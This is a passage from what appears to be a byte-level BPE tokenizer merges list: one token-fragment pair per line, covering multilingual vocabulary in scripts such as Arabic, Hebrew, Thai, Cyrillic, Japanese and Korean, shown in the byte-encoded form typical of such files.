à¸Ľ +ĠполÑĥÑĩ ил +×Ļ×ĸ ×Ŀ +à¹ģละ à¸Ħวาม +Ġво обÑīе +ص ÙĬر +ãĥı ãĥ³ +ĠاÙĦÙĤ اد +ĠاÙĦÙĤاد Ùħ +Ġب دÙĪÙĨ +ع ظÙħ +ת ׳×ķ×¢ +×ª×ł×ķ×¢ ×Ķ +Ø£ ÙħÙĦ +ãģķ ãģĪ +ÑĤ ем +ÑĤем пеÑĢ +ÑĤемпеÑĢ Ð°ÑĤÑĥÑĢ +Ġ׾ ×Ļצ×ķר +Ġr ÄĻk +ر سÙĦ +ìŀIJ 를 +Ġ×Ļצ ×Ļרת +ÙĨ بÙĬ +Ñĩ наÑı +تØŃ ÙĦÙĬÙĦ +Ġм ик +Ġмик ÑĢо +ĠS öz +Ġfor ça +Ñģ он +ĠاÙĦع را +ĠاÙĦعرا ÙĤÙĬ +ĠH á»ĵng +ãģĻãĤĭ ãģŁãĤģãģ« +à¸Ĺีà¹Ī à¸Ńยูà¹Ī +Ġ×ķ×IJ ×£ +ص ÙĬد +ĠìķĬ ê³ł +ร ัà¸ĩ +ĠاÙĦت ÙĪØ§ØµÙĦ +à¹Ģม à¸ķร +Ñĥ ÑģÑĤÑĢой +ÑĥÑģÑĤÑĢой ÑģÑĤв +m ıyor +Ġبا سÙħ +Ġ×ķ ׼×ķ +ĠG ül +á» IJ +Ãī tat +غ اÙĦ +Ø¥ ÙĨØ´ +Ø¥ÙĨØ´ اء +T İ +à¸Ĥà¹īา ม +Ġtro ch +Ġtroch ÄĻ +Ø¥ ص +إص ابة +ĠØ« اÙĨÙĬ +ĠاÙĦص ØŃØ© +Ġ×ĸ×Ķ ×ķ +jÄħ cej +ãĥĢ ãĥ³ +ìĿ¸ ìĿ´ +Ġв олоÑģ +ëIJĺ ë©´ +Ġzak ÅĤad +ãģĻ ãģĵãģ¨ +以ä¸Ĭ ãģ® +Ġ×Ķ×ŀ×§ ×ķ×Ŀ +ÙħØ´ اÙĩ +ÙħشاÙĩ دة +Ñĩ ив +ب Ø´ +ย à¹īาย +Ġsür dür +ĠN ẵ +ĠNẵ ng +ĠигÑĢ Ð°ÑĤÑĮ +Ġê·¸ëŁ¬ ë©´ +ãĥķ ãĥ« +ล à¹Īะ +Ġtend rá +Ġb Ãły +à¹Ģà¸Ľà¹ĩà¸Ļ à¸ľà¸¹à¹ī +Ġok o +Ġoko ÅĤo +w ÅĤa +wÅĤa ÅĽci +wÅĤaÅĽci w +æĢĿ ãĤı +ĠYa ÅŁ +ĠB á»ĩnh +íı Ń +بÙĬ د +קר ף +à¹Ģศ ร +à¹Ģศร ษ +à¹Ģศรษ à¸IJ +à¹Ģศรษà¸IJ à¸ģิà¸Ī +ĠاÙĦØ£ ÙĪØ±ÙĪ +ĠاÙĦØ£ÙĪØ±ÙĪ Ø¨ÙĬ +fl äche +ä¹Ĺ ãĤĬ +Ġb á»ģn +Ùĩ ب +æľĢ ãĤĤ +Ġsa ç +à¸Ńำ à¹Ģà¸ł +à¸Ńำà¹Ģà¸ł à¸Ń +ĠØ£ ج +ĠاÙĦد اخÙĦ +ĠاÙĦداخÙĦ ÙĬØ© +×ĺ ×ķ×ij +ãĤĤ ãģªãģı +Ġли ÑĨа +à¹ģลà¹īว à¸ģà¹ĩ +×ĸ׼ ×Ļר +Ġqu Ãł +ĠÙĥ ذÙĦÙĥ +صØŃ Ùģ +ĠÃĤ u +ÙĪØ¨ ا +à¹Ģà¸Ľà¸¥à¸µà¹Īยà¸Ļ à¹ģà¸Ľà¸¥ +à¹Ģà¸Ľà¸¥à¸µà¹Īยà¸Ļà¹ģà¸Ľà¸¥ à¸ĩ +à¸ķัว à¸Ńยà¹Īาà¸ĩ +Ġráp ida +Ġtas ar +Ġtasar ım +ĠعÙĦÙĬ ÙĩÙħ +ס ×ķ׾ +c ılı +cılı k +Ġر غÙħ +ìĭľ íĤ¤ +Ġ×IJ׾ ×§ +Ġ×IJ׾ק ×ĺר +Ġ×IJ׾ק×ĺר ×ķ׳×Ļ +à¹ģà¸ļ à¹Īà¸ĩ +Ġh ạng +ãģ£ãģ¦ ãģıãĤĮ +ĠÙĨ تÙĬ +ĠÙĨتÙĬ جة +ıkl ı +غ اÙĨ +à¸Ĥà¹īà¸Ń à¸Ħวาม +à¸Ľà¸¥ าย +ĠØ£ Ùħس +à¸Ĺีà¹Ī à¹Ģà¸ģีà¹Īยว +à¸Ĺีà¹Īà¹Ģà¸ģีà¹Īยว à¸Ĥ +à¸Ĺีà¹Īà¹Ģà¸ģีà¹Īยวà¸Ĥ à¹īà¸Ńà¸ĩ +Ġdé fin +Ġdéfin i +ÙģÙĨ اد +ÙģÙĨاد ÙĤ +à¹Ħà¸Ķà¹ī วà¹Īา +ãģªãģĦ ãĤĪãģĨãģ« +Ġpróp ria +ĠPh át +ãĤĦãģĻ ãģı +สวย à¸ĩาม +ê³ł ìļĶ +Ñı еÑĤ +ãģĭãĤĤãģĹãĤĮãģ¾ãģĽãĤĵ ãģĮ +تر جÙħ +ĠкÑĢаÑģ ив +Ġ×ŀ ר×IJש +д еж +ĠÙĬ ÙĪÙĨ +ĠÙĬÙĪÙĨ ÙĬÙĪ +Ñģк оÑĢ +ĠKas ım +ê³Ħ ìķ½ +к оÑģ +Ġна ÑĢÑĥ +ĠнаÑĢÑĥ ÑĪен +Ġdu że +acc ès +Ġh á»ĵng +Ġv Å© +ãģĦãģŁ ãģĹãģ¾ãģĻ +Ġ×ĺ ×Ļ +Ġ×ĺ×Ļ ×ķ׾ +lıkl arı +Ġqu ê +ëħ¸ ëıĻ +ìķ Ķ +CI ÃĵN +Ġt ắc +press ão +ĠìŀĪ ìľ¼ +สิà¸Ĺà¸ĺิ à¹Į +íĥ Ħ +Ġ×Ķ×ŀ ×ŀש׾×Ķ +å¬ī ãģĹãģĦ +ĠÄIJ ặc +ÙĨ زÙĦ +ĠдÑĢÑĥг ой +д ÑĥÑĤ +ìĪ Ļ +Ġth ụ +à¹Ģส ร +à¹Ģสร à¹ĩ +à¹Ģสรà¹ĩ à¸Ī +Ġto plant +Ġtoplant ı +×IJ×ŀ ף +×ķ׾ ת +п омн +Ġyo ÄŁun +ÅĦsk iego +ì° © +ĠØ« ÙĦاث +ĠØ«ÙĦاث Ø© +Ġl ắng +ë¦ ´ +ราà¸Ĭ à¸ģาร +ĠÑģлов а +á» Ĩ +à¸Ķี à¸ģวà¹Īา +ãģĶãģĸ ãģĦãģ¾ãģĻ +Ġд из +Ġдиз айн +fé rence +lıkl ar +ãģªãĤĵ ãģ§ãģĻ +ajÄħ cy +Ġëĭ¤ ìĸij +Ġëĭ¤ìĸij íķľ +×§ ×Ļר +ØŃ ار +ส ูà¹ī +Ġz ro +Ġzro bi +Ġzrobi Äĩ +×ŀ ×Ļ׼×Ķ +à¸Ĭà¹Īวย à¹Ģหลืà¸Ń +ĠÑįÑĤ Ñĥ +ë´ ī +楽 ãģĹãģĦ +س ÙĪØ± +íķĺ ê±°ëĤĺ +Ùħؤ تÙħر +Ġpoc zÄħ +ĠpoczÄħ tk +ĠpoczÄħtk u +Ġع ربÙĬ +اÙĦØ£ ر +اÙĦأر دÙĨ +à¸Ķ ร +Åĵ uvre +ĠÙĪÙĥ اÙĨت +ĠÅĽ redni +Ø® ضر +Ġch uyến +н ÑĤ +ĠìķĮ ê³ł +Ġv á»Ŀi +Ġ×ij ×Ļ×ĵ×Ļ +×ŀ×ĵ ×ķ×ijר +ÙĪ Ù쨱 +ÙĬ Ø¡ +׳ ×Ľ×¡ +ĠÐĽ а +л он +Ġx ấu +Ùģ ÙĬÙĨ +Ġfé vrier +ĠÐŀ на +ĠV á»ģ +ĠÅŁey ler +ĠполÑĥÑĩ ен +з ад +Ġn ét +à¹Ħà¸Ľ ยัà¸ĩ +×Ĺש×ij ×ķ +à¸ļัà¸Ļ à¸Ĺ +à¸ļัà¸Ļà¸Ĺ ึà¸ģ +Ġgerçek leÅŁ +иÑĩеÑģк ое +ìĪĺ ê°Ģ +Ø« بت +ãģ¤ ãģ¾ãĤĬ +ĠÑĥÑģловиÑı Ñħ +ëĭ¤ ê°Ģ +ราย à¹Ħà¸Ķà¹ī +׼×IJ ×ij +à¹Ĥà¸Ľà¸£ à¹Ĥม +à¹Ĥà¸Ľà¸£à¹Ĥม à¸Ĭัà¹Īà¸Ļ +j ähr +jähr ige +×§ ׳×Ļ×Ŀ +×ŀ ×ķ×§ +×ŀ×ķ×§ ×ĵ +ãģ«è¡Į ãģ£ãģ¦ +Ø¢ ÙĦ +вед ение +Ġ׾ ×Ľ×ª×ķ×ij +جÙħ Ùĩ +جÙħÙĩ ÙĪØ±ÙĬØ© +à¸ī à¸ļ +à¸īà¸ļ ัà¸ļ +ĠC òn +à¸ľ สม +ãģªãģ© ãģĮ +×IJ×Ķ ×ij +ĠдейÑģÑĤв иÑı +y ız +à¹Ħมà¹Ī à¹Ģà¸Ħย +ج ÙĪØ² +×Ķ×Ĺ׾×ĺ ×Ķ +f ällt +ãĥĵ ãĤ¸ +ãĥĵãĤ¸ ãĥį +ãĥĵãĤ¸ãĥį ãĤ¹ +Ġ×IJ ×Ļ׳×Ŀ +ĠнаÑħод иÑĤÑģÑı +Ġdzi ÅĽ +ست Ø·ÙĬع +׾ ×Ļף +Ø® ÙĦاÙģ +Ùĩ ÙIJ +Ġatr ás +íĺ ģ +ãĤĴ ãģĶ +Ġ×Ķ×ŀ ×ķצר +ĠBakan lıģı +ÑİÑī ее +ÙħÙĨ اط +ÙħÙĨاط ÙĤ +Ùģ Ø¯ +à¸Ļำ à¹Ħà¸Ľ +Ġв аж +Ġваж но +Ġm ạch +׼ ׳×ķ +بع Ø« +lan ması +Ġa yr +Ġayr ıl +ìĤ¬ íļĮ +d ÃŃa +p ÅĤyw +اÙħ ÙĬØ© +íĺ ľ +×IJ׳ ×Ĵ׾ +×IJ׳×Ĵ׾ ×Ļת +ĠìŀĪëĭ¤ ëĬĶ +Ġس اعة +ĠëĤĺ íĥĢ +b ö +à¸Ħ ัà¸Ļ +ĠdziaÅĤ ania +Ø© Ùĭ +Ġng Å© +׳צ ×Ĺ +ãģ¯ ãģĤãĤĭ +ĠyaÅŁ ında +st ück +car acter +caracter ÃŃsticas +Ġr á»Ńa +ĠÙħختÙĦÙģ Ø© +ãģ«ãģĬ ãģijãĤĭ +à¹ģà¸ŀ à¸ĩ +วิ à¹Īà¸ĩ +ת פ×ķ +سا ÙĩÙħ +使 ãģĨ +Ùĥ رÙĬ +×IJ פ×Ļ +........ ....... +ĠÑĤак им +×Ļ׼ ×ķ×Ļ +Ø´ بÙĩ +ج ÙĬر +ãģĿãģ® ãģ¾ãģ¾ +ac jÄĻ +ĠاÙĦت رÙĥ +ĠاÙĦترÙĥ ÙĬ +ĠпÑĢав илÑĮно +Ġت عÙħÙĦ +à¸ģล à¹īา +Ġbi ên +Ġ×ij׳×Ļ ×Ļת +Ġкл Ñĥб +Ġ×ŀ ש×Ķ +в ÑĪий +ãģĵãģ¨ãģĮãģ§ãģį ãĤĭ +à¸ŀัà¸Ļà¸ĺ ุ +à¸ŀัà¸Ļà¸ĺุ à¹Į +ר ×ķ×Ŀ +ĠاÙĦÙģ Ø±ÙĨ +ĠاÙĦÙ쨱ÙĨ سÙĬ +à¹Ģà¸Ľà¹ĩà¸Ļ à¸Ħà¸Ļ +ãģĹãģ¦ ãģĬãĤĬ +Ġth ầy +ãĤĵ ãģłãģijãģ© +ìĶ ¨ +Ùħ دÙĨ +ت ÙĪÙĨ +ĠмеÑĤ ал +ĠмеÑĤал л +Ġin ÃŃcio +à¸Ńà¸Ńà¸ģ à¸Īาà¸ģ +ëĴ ¤ +Ġcu á»ijn +Ġbu á»Ļc +ÙĨ سÙĬ +ä cht +×ŀ ×Ļ׳×Ļ×Ŀ +ãģķ ãģ¦ +ãģĮ ãģ§ãģį +ÑĬ ем +Ġtá i +ĠЧ ÑĤ +ĠЧÑĤ обÑĭ +à¸Ľà¸¥ ูà¸ģ +à¸Ĭุม à¸Ĭà¸Ļ +н Ñģкий +Ġv ững +Ġ×Ķ ×ľ×ij +ë le +Ġש ×¢×ijר +в аÑĤÑĮÑģÑı +б ой +ع ÙĪÙĨ +à¹ģà¸Ķ à¸Ļ +Ġספר ×Ļ×Ŀ +Ġt uyên +Ġnhi êu +ĠQu ý +Ġh uyết +ãĤı ãģĭãĤīãģªãģĦ +Ġ×ŀ ׼ף +Ġ×Ķ ×§×ľ +Ġ׾×IJ ×ķר +ĠÄIJi á»ĩn +Ø´ ؤ +شؤ ÙĪÙĨ +Ġ×ŀ׊פש +ĠпоÑģÑĤоÑıн но +×ŀ ×Ļר +ìħ Ķ +Ðŀ Ñģ +ÐŀÑģ нов +×ĸ ×Ļת +ĠH á +ĠÑĩаÑģ ов +×IJ ×ķ׾×Ļ +Ġm át +Ø® رÙĪ +خرÙĪ Ø¬ +ÙĤ ضا +ÙĤضا ÙĬا +à¹Ģà¸Ľ à¸Ńรà¹Į +ĠÙĬ ÙĪÙĦ +ĠÙĬÙĪÙĦ ÙĬÙĪ +à¹Ĥà¸Ĺ ษ +׳ פ׾ +ת ×ķש +ת×ķש ×ij×Ļ +Ġv ários +×ŀ ר×IJ×Ķ +ëĿ¼ ìĿ´ +ÙĨ غ +×ij צע +г он +ĠÄIJ ược +ع Ùı +пÑĥÑģ к +ĠÙĪØ§ÙĦ Ùģ +üc ü +×Ļ×§ ×Ļ×Ŀ +Ġس بÙĬÙĦ +׾×ij ף +ĠاÙĦÙĤ رÙĨ +ס ×ķת +ĠQu áºŃn +ãģĵãĤĮ ãģĮ +ãĥĸ ãĥ©ãĥ³ãĥī +×Ĵ ×ŀר +Ġwarto ÅĽci +ĠÙĪØ¨ ÙĬÙĨ +Ġd ạ +ÐIJ в +ÐIJв ÑĤо +Ġol acaktır +à¸Ļ à¸Ĺà¹Į +Ùħ طار +Ġ×¢ ×§×ij +Ġת פ +ãģĹãģ¦ ãģĦãģ¦ +צ ×ŀ×Ĺ +à¸Ī à¸Ńà¸ĩ +Ġö de +ìį ¨ +ÙĨ اس +調 ãģ¹ +ĠогÑĢ Ð¾Ð¼Ð½ +ë³´ íĹĺ +×ĺ ×§ +×ĺ×§ ס×ĺ +ĠbaÅŁ v +ĠbaÅŁv uru +Ġpom ys +Ġpomys ÅĤ +ãģ« ä¹Ĺ +Ġש ׼ף +ĠاÙĦÙħس ؤÙĪÙĦ +Ġз ан +Ġзан ÑıÑĤ +Ġd ương +ãĥĹãĥ¬ ãĤ¤ +ล à¸ļ +ÑĤи ка +ĠAr alık +Ġнед о +Ġm á»Ļ +Ġor an +Ġoran ı +Ġktó r +Ġktór Äħ +Ġ×Ķ×IJ×Ĺר ×ķ׳×ķת +ائ ÙĨ +ÅĦ s +ÅĦs ka +åĽ½ ãģ® +×ŀ ×ĺ×Ļ +ĠвопÑĢоÑģ Ñĭ +à¸Ńà¸ĩà¸Ħà¹Į à¸ģร +×ŀ ×ķצ×IJ +Ġpó ź +Ġpóź niej +ש×ŀ ×IJ׾ +Ġk aps +Ġkaps am +Ġkapsam ında +Ġmá quina +ĠÅĽwie cie +Ġho Ãłng +Ġöz gü +×Ĵ×ķר ×Ŀ +ãģĤ ãģŁãĤĬ +à¸ķัà¸Ķ สิà¸Ļ +à¸ķัà¸Ķสิà¸Ļ à¹ĥà¸Ī +б ÑĢи +ãģ«ãģªãĤĭ ãģ¨ +ت ÙĥÙĪÙĨ +Ġ×ķ×Ķ ×Ļ×IJ +Ġchi ếu +ÑģÑĤан ав +ÑģÑĤанав ли +ÑģÑĤанавли ва +×ŀ ×ķ×Ĵ +c ité +ĠK örper +Ġש ×Ĵ×Ŀ +ع ظ +عظ ÙĬÙħ +Ġ×Ķ×IJ ×Ļש×Ļ +Ġmat ière +ĠÙģ ÙĪÙĤ +Ġk to +Ġkto ÅĽ +à¸Ļ à¹Ĥย +à¸Ļà¹Ĥย à¸ļาย +å¾ħ ãģ¡ +à¹Ģม à¸Ļ +à¹Ģมà¸Ļ ู +A ÃĩÃĥO +Ġt ù +Ġtù y +ãĥĪ ãĥ³ +ĠоÑĤ каз +Ġ×ŀ ×ķצר +ül ü +ãģķãĤĵ ãģ« +Ġ×Ĺ ×ķ×ij +קר ×Ļ×IJ×Ķ +ĠاÙĦØ® دÙħات +ĠÙĦÙħ دة +ر ؤ +رؤ ÙĬØ© +ãĤĴè¦ĭ ãģ¤ãģij +à¸Ł า +Ġréuss i +à¸Ļัà¸ģ à¹Ģรียà¸Ļ +ĠÑĩиÑģ л +à¸ģาร à¹Ģลà¹Īà¸Ļ +Ġhaz ırl +Ġhazırl an +ĠпеÑĢв Ñĭй +ли м +ĠоÑĤзÑĭв Ñĭ +Ġwy jÄħ +ĠwyjÄħ tk +ĠØ£ ÙĤÙĦ +ס ×ļ +Ġê²° ìłķ +Ġ׾×ŀ×¢ ש×Ķ +Ġl ắp +à¹ģà¸ļ ร +à¹ģà¸ļร à¸Ļà¸Ķà¹Į +วà¹Īา à¹Ģà¸Ľà¹ĩà¸Ļ +Ġب دا +Ġبدا ÙĬØ© +ãģ¨ãģĦãģĨ ãģ®ãģĮ +иÑĩеÑģк им +à¸ģาร à¸ŀัà¸Ĵà¸Ļา +Ġb Ãło +Ġmia ÅĤa +y waÄĩ +ĠMär z +ĠÙĨ سبة +Ġéconom ique +×ĸ ×ŀ +×ĸ×ŀ ׳×Ļ×Ŀ +æŃ¢ ãĤģ +Ġt á»§ +íķĺ ìĭł +Ġkażde go +stra ÃŁe +à¸Ĭ ีà¹ī +à¹Ģ à¸ļา +ÑĢеÑģ ÑĥÑĢÑģ +ев ой +Ø´ باب +à¸ķà¹Īาà¸ĩ à¸Ľà¸£à¸°à¹Ģà¸Ĺศ +Ġ×IJ ×Ļש +Ġ×IJ×Ļש ×Ļת +×Ļ ×ķפ +×Ļ×ķפ ×Ļ +ĠìļĶ êµ¬ +ì¡° ìĤ¬ +ãģ£ãģŁ ãĤī +׾ ×Ļ×§ +миниÑģÑĤ ÑĢ +ãĤĤãģ® ãģ¯ +Ġl ương +Ġна и +Ġнаи бол +Ġнаибол ее +íİ ĺ +à¹ģà¸ŀ à¹ī +ãĤŃ ãĥ¥ +ĠкоÑĤоÑĢ Ñĭм +à¹ģà¸Ĺ à¸ĩ +à¹ģà¸Ĺà¸ĩ à¸ļà¸Ńล +Ġ׳ ×Ļ×Ķ +Ġ׳×Ļ×Ķ ×ķ׾ +âĤ ª +ĠGi ải +ĠиÑģполÑĮзов а +ëł¥ ìĿĦ +ãģĹãģĭ ãĤĤ +à¸ģà¹ĩ à¸ķà¹īà¸Ńà¸ĩ +ĠÑĢ ÐµÐ± +ĠÑĢеб ен +ĠÑĢебен ка +ت ÙĪØ§ØµÙĦ +ãĤ°ãĥ« ãĥ¼ãĥĹ +ãĤĦ ãĤī +à¹Ģà¸Ľà¸´à¸Ķ à¸ķัว +б ÑĢо +ë°ĸ ìĹIJ +ÙĨ ÙİØ§ +×Ķ ×Ĵ +×Ķ×Ĵ ׳×Ķ +à¸Ĺ รั +à¸Ĺรั à¸ŀ +à¸Ĺรัà¸ŀ ยà¹Į +Ġkh á»iji +עצ ×ŀ×ķ +бол езн +Ġë°Ľ ìķĦ +ม à¸Ļ +มà¸Ļ ุ +มà¸Ļุ ษ +มà¸Ļุษ ยà¹Į +âĹ Ĩ +×ŀ צ׾×Ļ×Ĺ +Ñıв ление +Ùħ Ø·ÙĦ +ÙħØ·ÙĦ ÙĪØ¨ +Ø® اÙĦÙģ +ت ÙĪÙĤÙģ +ãģ§ãģį ãģ¾ãģĽãĤĵ +оÑģÑĤ ей +м еÑĩа +기 ëĬĶ +תש ×¢ +ص ÙĬب +Ġ×ij×¢ ×ķ×ĵ +à¸Ĥà¸Ńà¸ĩ à¹Ģà¸Ĥา +ÑĤÑı ж +ĠÑĥ пÑĢав +ĠÑĥпÑĢав лениÑı +Ġgén ér +Ġth ÃŃ +פ ×ļ +Ġر Ùħض +ĠرÙħض اÙĨ +Ġtr uyá»ĩn +Ø¥ عداد +ãĤµ ãĥĿãĥ¼ãĥĪ +Ġпол но +Ø® اÙħ +ÐŁ еÑĤ +ÐŁÐµÑĤ еÑĢ +ÐŁÐµÑĤеÑĢ Ð±ÑĥÑĢ +ÐŁÐµÑĤеÑĢбÑĥÑĢ Ð³ +ÙħÙĨت دÙī +ãģķãĤĮ ãģ¾ãģĹãģŁ +ĠëĮĢ íķĺìŬ +à¸ľà¸¹à¹ī à¸Ĺีà¹Ī +Ġ×ŀ×IJ ×ķ +׾ ׳×ĵ +оÑĩ нÑĭе +ĠнаÑĩ ала +Ġ׾ ×Ļ׾×ĵ×Ļ×Ŀ +ов ое +ãģĻãĤĭãģĵãģ¨ ãģ§ +ĠاÙĦÙĨ Ùģ +ĠاÙĦÙĨÙģ Ø· +ìŀĪ ëĬĶ +غ ÙĨÙĬ +פ ×ĵ +ãĤ ¾ +ĠCr é +ãģ© ãģ¡ãĤī +Ø« اÙĨ +ÑĢаб аÑĤ +ÑĢабаÑĤ Ñĭва +Ġê°Ļ ëĭ¤ +à¸Ī ั +à¸Īั à¸ģร +Ġch ụ +Ġchụ p +Ġм аÑģÑĤ +ĠмаÑģÑĤ еÑĢ +Ġn ắm +ĠÑģÑĤ али +Ġ×Ķ×IJ ×Ļר×ķ×¢ +ãĤ½ ãĥ³ +åĪĨ ãģĭãĤĬ +Ø· بع +بد ا +gr áfico +г еÑĢ +à¸Ķำà¹Ģà¸Ļิà¸Ļ à¸ģาร +Ġsal dır +Ġsaldır ı +в ÑĪиÑħ +ãģĭãģ£ãģŁ ãģ§ãģĻ +Ġyapı yor +ĠاÙĦÙģ Øª +צר פת +з доÑĢов +×ij×¢ ׾ +Ġ×IJ ×ŀ×Ļת×Ļ +Ġоб Ñĭ +ĠобÑĭ Ñĩ +ĠобÑĭÑĩ но +Ġ׾ ×ķ×ŀר +ت ÙĥÙĨ +تÙĥÙĨ ÙĪÙĦÙĪØ¬ +تÙĥÙĨÙĪÙĦÙĪØ¬ ÙĬا +Ġhakk ı +ĠÑĢаР² +ĠÑĢав но +رÙĬ Ùĥ +Ġ×ij ×ŀ×Ļ×ĵ +Ġ×ij×ŀ×Ļ×ĵ ×Ķ +à¹ģà¸ģ à¹īว +Ġìĸ ĺ +Ġìĸĺ 기 +ãģĹãģ¦ ãģĦãģ¾ãģĹãģŁ +Ġkı sm +Ġkısm ı +ê± ¸ +åĨħ ãģ® +ì§ ķ +à¹Ģหมืà¸Ńà¸Ļ à¸ģัà¸Ļ +ĠÙģ ÙIJ +ĠÙģÙIJ ÙĬ +ÙĤ اعدة +Ġmoż esz +Ùħ صاÙĦ +ÙħصاÙĦ ØŃ +ãģ¾ãģŁ ãģ¯ +б ег +Ġs ıc +Ġsıc ak +Ñĩ иÑģ +ÑĩиÑģ лен +Ġн ог +ãĥģãĥ£ ãĥ³ +ãĥ« ãĥī +Ġgi ó +Ġs ını +Ġsını f +ив аÑĤÑĮ +Ġqu ên +Ġì łģ +Ġìłģ ìļ© +ĠJo ão +Ùģ Ø§Ø¯ +ĠGl ück +à¸Ĺ à¸Ńà¸Ķ +Ġg ói +ï¼ Ĭ +Ġdé tail +ĠدÙĬ سÙħ +ĠدÙĬسÙħ بر +ë¡ľ ìĦľ +×ŀ ×ķ×Ĺ +à¹Ħ ฮ +ĠоÑĤ д +ĠоÑĤд ÑĭÑħ +Ġkh uyến +à¸Ħ à¸Ńย +Ġج ÙĨÙĬ +ĠجÙĨÙĬ Ùĩ +ĠاÙĦد ÙģØ§Ø¹ +à¸Ļà¹īำ หà¸Ļัà¸ģ +ĠìĤ¬ëŀĮ ëĵ¤ìĿ´ +Ġth ừa +ĠÃ¶ÄŁrenc i +ĠпомоÑī и +ĠczÄĻ ÅĽÄĩ +ש ×ĺר +ĠN hi +ĠNhi á»ģu +׳ צ×Ļ +ĠнаÑĪ ÐµÐ¼ +ĠkarÅŁÄ± laÅŁ +Ġ×Ķש ׳×Ļ×Ŀ +ĠÄIJ ưá»Ŀng +Ġtr ú +ĠÑĢазлиÑĩ нÑĭÑħ +ĠاÙĦØ´ Ùĩر +Ġ×ľ×¢ ×ķ׾×Ŀ +ØŃ جر +ĠÄij á»ķ +ĠìĿĺ íķ´ +à¸ļ à¹Īà¸Ńย +Ġ×Ķ ×Ļ׾×ĵ +ãģ¨ãģª ãģ£ãģŁ +Ġ×Ĺ×ķ ×ķת +Ġש×Ļר×ķת ×Ļ +Äħ cy +س رÙĬ +K İ +פ ׳×ķ +ÑģÑĤÑĢÑĥк ÑĤÑĥÑĢ +ÑĤ ÑĢÑĥд +Ġ×Ķ ×§×¨ +Ġ×Ķקר ×ķ×ij +Ġth áºŃm +èģŀ ãģį +ÙĤÙĪ ÙĬ +клÑİÑĩ ен +ÑĤе Ñħ +ÑĤеÑħ нолог +è¡Į ãģ£ãģŁ +Ġ×ķ×IJ ×Ļף +ĠÅŁek lin +ĠÅŁeklin de +r ô +ÑĢ Ð¾Ð³ +Ġнов Ñĭе +Ġס ×ij×Ļ×ij +Ġtecn ologÃŃa +ס ׼ +×¡×Ľ ×ķ×Ŀ +ĠÅŀ ub +ĠÅŀub at +Ġ×Ķ×ŀ ׾×IJ +Ġwy pos +Ġwypos aż +ãģ¯ ä½ķ +ãĤ¬ ãĥ³ +ê° ĸ +Ġкак ие +Ġçocuk lar +Ġ׾צ ×ĵ +Ġkay ıt +ĠмеÑģÑĤ е +Ùħ دÙĬÙĨØ© +Ġ׼ ×Ĵ +Ġ׼×Ĵ ×ķף +ãģĹãģ¦ ãĤĭ +ĠÙħا ÙĬÙĪ +ãģ£ãģ¦ãģĹãģ¾ ãģ£ãģŁ +ĠпÑĢогÑĢамм Ñĭ +à¹ģล à¸Ļà¸Ķà¹Į +ãĥ¯ ãĤ¤ +ער ×ķ×¥ +Ñģ ид +ĠB öyle +Ġì²ĺ ìĿĮ +Ġת פק×Ļ×ĵ +ĠTr ên +íĥ Ī +ĠÐłÐ¾ÑģÑģ ий +ĠÐłÐ¾ÑģÑģий Ñģкой +Ġs Ãłn +Ġrè gle +ĠyaklaÅŁ ık +à¹Ģล ิà¸ģ +Ġد ائÙħ +Ġ×ķ ×Ĵ +اب ر +Ġb è +ĠاÙĦ ÙĤدÙħ +ĠÑĢеÑĪ ÐµÐ½Ð¸Ñı +hi ên +ÑĤи к +Ä Ħ +à¸ļรร ยาà¸ģ +à¸ļรรยาà¸ģ าศ +רצ ×ķף +åĭķ ãģį +ĠGä ste +Ġ기 본 +ĠÙĬ عرÙģ +ĠS á»Ń +gÅĤ ÄĻb +à¹Ģà¸Ń ส +×IJ×ŀ ×Ļף +Ġп Ñĥнк +ĠпÑĥнк ÑĤ +Ġ×Ļ×ķ×ĵ ×¢×Ļ×Ŀ +ãĤ« ãĥ©ãĥ¼ +Ġ×ijס ×ĵר +Ġbu á»ĵn +й ÑĤ +йÑĤ еÑģÑĮ +ãĤĴ æ±ĤãĤģ +Ġ×IJת ׼×Ŀ +Ġ모 르 +ظ رÙĪÙģ +Ñĩ еÑģÑĤво +ìĸ´ ìĦľ +Ġод на +Ġkap ı +Ġëħ¸ ëł¥ +ĠKü che +ĠاÙĦت Ø´ +Ø· ÙĬب +ĠíĬ¹ íŀĪ +ĠвÑĭп ÑĥÑģ +ĠвÑĭпÑĥÑģ к +×ĵ ת×Ļ +Ġu ÄŁ +ĠuÄŁ ra +ائ Ùĩا +Ġtho át +ãģª ãĤĤãģ® +Ñij ÑĢ +기 ê°Ģ +ĠgeliÅŁ me +تØŃ ÙĤ +تØŃÙĤ ÙĤ +Ġоп аÑģ +б ÑĢоÑģ +ห ุ +หุ à¹īà¸Ļ +ì¼ Ģ +ãĤ¹ ãĥŀ +ãĤ¹ãĥŀ ãĥĽ +Ø£ Ù쨱 +Ø£Ù쨱 اد +ĠTh á»±c +Ġth ắ +ãĥªãĥ³ ãĤ¯ +Ġni á»ģm +ĠHö he +عÙħ ار +ÙĥÙĪØ± ÙĪÙĨ +ÙĥÙĪØ±ÙĪÙĨ ا +ĠÄIJ ến +ĠÑģам ом +ĠÑĤ еле +ĠÄijo án +à¸Ħวามà¸Ħิà¸Ķ à¹Ģหà¹ĩà¸Ļ +Ġд иÑģк +Ø£ Ø·Ù쨧ÙĦ +ม ารà¹Į +à¸Ĺ หาร +à¸Ĺ à¸Ļ +Ġب عÙĬد +ĠاÙĦÙĩ ÙĨد +åĩº ãģĹãģ¦ +Ġkar de +Ġkarde ÅŁ +×Ķ×Ļס×ĺ ×ķר +×Ķ×Ļס×ĺ×ķר ×Ļ×Ķ +éģ¸ ãģ³ +ع اÙħÙĦ +à¸Ĥ ยาย +Ġtü rl +Ġtürl ü +ĠìĿ¼ ìĿ´ +Ġmaté ria +Ġ׼׾ ×ķ×ŀר +ãĥģãĥ£ ãĥ¼ +جÙħ اعة +ĠÑģво им +Ø¥ÙĤ اÙħØ© +ä¾ĭ ãģĪãģ° +س اب +Ø¢ خر +ÙĤ دÙĬر +×IJ×ŀ ×Ļ +ìĸ » +Ġ׳×ķס פת +ĠÐĴ лад +ĠÐĴлад им +ĠÐĴладим иÑĢ +Ġest ará +ãģĵãģĨ ãģĦãģĨ +ãĤĴ 使ç͍ +มา à¸ķร +มาà¸ķร à¸IJาà¸Ļ +ãģ£ãģ ½ +Ġn ú +Ġnú i +ย าà¸ĩ +ĠاÙĦج ÙĨس +Ġüst ün +ëľ » +ãĤ» ãĥ« +ãģ¦ãģĦ ãģįãģ¾ãģĻ +Ġ×Ĺ ×ķ×ĸ +Ġ×Ĺ×ķ×ĸ ר +ĠÐĵ лав +à¹Ĥà¸Ĭ à¸Ħ +íı IJ +ÙĨت ظر +Ġ×Ĵ 